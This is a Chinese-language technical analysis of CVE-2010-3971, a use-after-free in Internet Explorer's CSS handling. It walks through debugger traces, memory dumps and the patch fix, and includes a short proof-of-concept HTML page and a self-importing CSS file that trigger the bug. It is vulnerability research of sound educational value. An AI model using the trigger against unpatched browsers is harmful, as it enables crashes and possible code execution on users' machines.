CVE-2010-3971 CSS文件引用导致CImplPtAry释放后重用
1. POC
+x 0d0: arraySize
+x 0d4: currentSize
+x 0d8: arrayStartAddress
CSharedStyleSheet包含一个数组,
其
+x0d0处表示当前数组的大小(以字节为单位)
+x0d4 处表示数组的大小
+x0d8 表示数组的起始地址
CSharedStyleSheet:: Notify的基本功能是:
依次取出数组中的元素(CStyleSheet),如果元素 +0x18处的值为1,则调用该元素的Notify函数。
下面,在bu CSharedStyleSheet::Notify设置断点,跟踪运行:
可以看到,ecx保存的是CSharedStyleSheet对象的指针 0874af08
数组的起始地址为074f4fe8。
下面设置读写断点,
Da r4 ecx+0d8
跟踪数组的变化
在调用CStyleSheet::Notify函数的过程中,由于css中有import指令,会导致新的CStyleSheet
的创建,这将增加CSharedStyleSheet的大小,当元素的数目大于当前数组的大小时,CSharedStyleSheet将会动态调整数组的大小,以满足要求。
这里调用HeapReAlloc重新分配数组的空间:
可以看到:
数组的元素空间:eax 074f4fe8
在HeapReAlloc运行之前:
HeapReAlloc运行完成后,
新的数组空间为0716afd8 。
dc eax
0716afd8 06d6af90 06b76f90 06da4f90 06db4f90 .....o...O...O..
0716afe8 074eef90 09cd0f90 c0c0c0c0 c0c0c0c0 ..N.............
0716aff8 c0c0c0c0 d0d0d0d0 ???????? ???????? ........????????
将新的数组的起始地址赋值给CSharedStyleSheet对象中保存数组指针的变量。
运行该指令之后,可以看到:
CSharedStyleSheet中已经指向新的数组地址。
会调整到loopbegin继续执行,
最终会调整到continue继续执行:
由于此时edi仍指向之前的数组空间,但该空间在HeapReAlloc时已经释放,导致释放后重用。
5.2 补丁后:
补丁后,每次循环之前,都会去CSharedStyleSheet + 0xd8处获得数组的起始地址,这样,即使HeapReAlloc改变了数组的起时地址,补丁后的方式也可以获得新的数组起始地址。而不会错误
<html> < body> < div style="position: absolute; top: -999px;left: -999px;"> <link href="css.css" rel="stylesheet" type="text/css" /> </body></html> css.css*{ color:red;}@import url("css.css");@import url("css.css");@import url("css.css");@import url("css.css");
2. 创建
CSharedStyleSheet+x 0d0: arraySize
+x 0d4: currentSize
+x 0d8: arrayStartAddress
CSharedStyleSheet包含一个数组,
其
+x0d0处表示当前数组的大小(以字节为单位)
+x0d4 处表示数组的大小
+x0d8 表示数组的起始地址
CSharedStyleSheet:: Notify的基本功能是:
依次取出数组中的元素(CStyleSheet),如果元素 +0x18处的值为1,则调用该元素的Notify函数。
CSharedStyleSheet::Notify elemCount = pSharedStyleSheet->arraysize/4 pArrayStartAddress = pSharedStyleSheet-> arrayStartAddress while( elemCount!=0 ) { if (*(pArrayStartAddress+0x18)==1) { (*pArrayStartAddress).Notify # CStyleSheet::Notify } --elemCount pArrayStartAddress = pArrayStartAddress + 4 }
下面,在bu CSharedStyleSheet::Notify设置断点,跟踪运行:
可以看到,ecx保存的是CSharedStyleSheet对象的指针 0874af08
dc ecx+0d0
0874afd8 00000014 00000006 074f4fe8 00000005 .........OO.....
可以看到,当前数组中有20(0x14)/4=5个元素,数组的大小为6,0874afd8 00000014 00000006 074f4fe8 00000005 .........OO.....
数组的起始地址为074f4fe8。
下面设置读写断点,
Da r4 ecx+0d8
跟踪数组的变化
8 e 0874afe0 r 4 0001 (0001) 0:****
在调用CStyleSheet::Notify函数的过程中,由于css中有import指令,会导致新的CStyleSheet
的创建,这将增加CSharedStyleSheet的大小,当元素的数目大于当前数组的大小时,CSharedStyleSheet将会动态调整数组的大小,以满足要求。
这里调用HeapReAlloc重新分配数组的空间:
可以看到:
数组的元素空间:eax 074f4fe8
dc 074f4fe8
074f4fe8 06d6af90 06b76f90 06da4f90 06db4f90 .....o...O...O..
074f4ff8 074eef90 09cd0f90 ???????? ???????? ..N.....????????
074f4fe8 06d6af90 06b76f90 06da4f90 06db4f90 .....o...O...O..
074f4ff8 074eef90 09cd0f90 ???????? ???????? ..N.....????????
在HeapReAlloc运行之前:
dc 0874af08 +0d0
0874afd8 00000018 00000006 074f4fe8 00000008 .........OO.....
0874afe8 ffffffff ffffffff ffffffff 000003a8 ................
0874aff8 000003a8 00000003 ???????? ???????? ........????????
0874afd8 00000018 00000006 074f4fe8 00000008 .........OO.....
0874afe8 ffffffff ffffffff ffffffff 000003a8 ................
0874aff8 000003a8 00000003 ???????? ???????? ........????????
HeapReAlloc运行完成后,
dc 074f4fe8
074f4fe8 ???????? ???????? ???????? ???????? ????????????????
074f4ff8 ???????? ???????? ???????? ???????? ????????????????
数组之前的空间已被释放。074f4fe8 ???????? ???????? ???????? ???????? ????????????????
074f4ff8 ???????? ???????? ???????? ???????? ????????????????
新的数组空间为0716afd8 。
dc eax
0716afd8 06d6af90 06b76f90 06da4f90 06db4f90 .....o...O...O..
0716afe8 074eef90 09cd0f90 c0c0c0c0 c0c0c0c0 ..N.............
0716aff8 c0c0c0c0 d0d0d0d0 ???????? ???????? ........????????
将新的数组的起始地址赋值给CSharedStyleSheet对象中保存数组指针的变量。
运行该指令之后,可以看到:
CSharedStyleSheet中已经指向新的数组地址。
3. 释放
有2中的分析可知,在HeapReAlloc中重新分配数组空间时,原先的数组空间被释放。4. 重用
当返回到CSharedStyleSheet::Notify函数中时:会调整到loopbegin继续执行,
最终会调整到continue继续执行:
由于此时edi仍指向之前的数组空间,但该空间在HeapReAlloc时已经释放,导致释放后重用。
5. 补丁对比
5.1 补丁前:5.2 补丁后:
补丁后,每次循环之前,都会去CSharedStyleSheet + 0xd8处获得数组的起始地址,这样,即使HeapReAlloc改变了数组的起时地址,补丁后的方式也可以获得新的数组起始地址。而不会错误
>更多相关文章
首页推荐
佛山市东联科技有限公司一直秉承“一切以用户价值为依归
- 01-11全球最受赞誉公司揭晓:苹果连续九年第一
- 12-09罗伯特·莫里斯:让黑客真正变黑
- 12-09谁闯入了中国网络?揭秘美国绝密黑客小组TA
- 12-09警示:iOS6 惊现“闪退”BUG
- 12-05亚马逊推出新一代基础模型 任意模态生成大模
- 12-05OpenAI拓展欧洲业务 将在苏黎世设立办公室
- 12-05微软质疑美国联邦贸易委员会泄露信息 督促其
- 12-05联交所取消宝宝树上市地位 宝宝树:不会对公
- 12-04企业微信致歉:文档打开异常已完成修复
相关文章
24小时热门资讯
24小时回复排行
热门推荐
最新资讯
操作系统
黑客防御